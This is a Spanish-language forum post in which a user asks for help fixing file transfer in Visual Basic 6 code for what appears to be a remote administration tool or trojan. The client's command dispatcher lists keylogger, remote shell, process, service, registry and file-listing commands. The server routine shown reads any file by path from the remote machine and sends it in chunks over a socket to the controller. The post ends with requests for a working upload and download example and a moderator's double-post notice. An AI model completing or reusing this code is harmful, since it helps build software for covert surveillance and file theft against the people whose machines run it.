Cliente :
Código
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) WS(Index).GetData Datos If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos If InStr(1, tDatos, "/S/") Then Data = Split(tDatos, "|") tDatos = "" Select Case Data(1) Case "Conexion": Call vConexion(Index) Case "Informacion": Call vInformation Case "Procesos": Call vProcess Case "ActualizarP": Call vAProcess Case "sServicios": Call vServices Case "ActualizarS": Call vAServices Case "Conexiones": Call vConexiones Case "ActualizarA": Call vAAdaptadores Case "ObtenerWebs": Call vOWebs Case "TcpUdp": Call vTcpUdp Case "Keylogger": Call vKeylogger Case "Shell": Call vShell Case "RefrescarWnd": Call vRWind Case "Chat": Call vChat Case "lstDrivers": Call vlDrivers Case "lstFiles": Call vlFiles Case "ErrorServidor": Call vEServer Case "sRegistro": Call vRegistro Case "Keylogger": Call vKeylogger Case "dwnFile": Call dwnFile End Select End If End Sub
Código
Public Function dwnFile() Dim aBuff As String Dim Archivo As String FF = FreeFile Archivo = Data(3) If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas") Open App.Path & "\Descargas\" & Archivo For Binary As FF aBuff = Space(LOF(FF)) Get FF, , aBuff Close FF Open App.Path & "\Descargas\" & Archivo For Binary As FF Put FF, , aBuff + Data(2) Close FF For i = 1 To TotalVentanas For z = 1 To frmMain.LV.ListItems.Count With frmFunciones(i) If .Caption = Data(4) Then MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption End If End With Next z Next i End Function
Servidor :
Código
Public Function dwFile() On Error GoTo Err Dim aBuff As String Dim xBuff As String Dim cPacks As String frmEspecifico = Data(3) FF = FreeFile Open Data(2) For Binary As FF aBuff = Space(LOF(FF)) Get FF, , aBuff Close FF cPacks = CInt(Len(aBuff) / 8192) '8192 If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1 If Len(aBuff) > 8192 And cPacks > 0 Then For i = 0 To cPacks If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff)) If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico Next i End If Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|" End Function
En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|" pero no ..
Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?
Un saludo! si hace falta mas codigo lo pongo.
Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..
Un saludo!
MOD EDIT: No hacer doble post.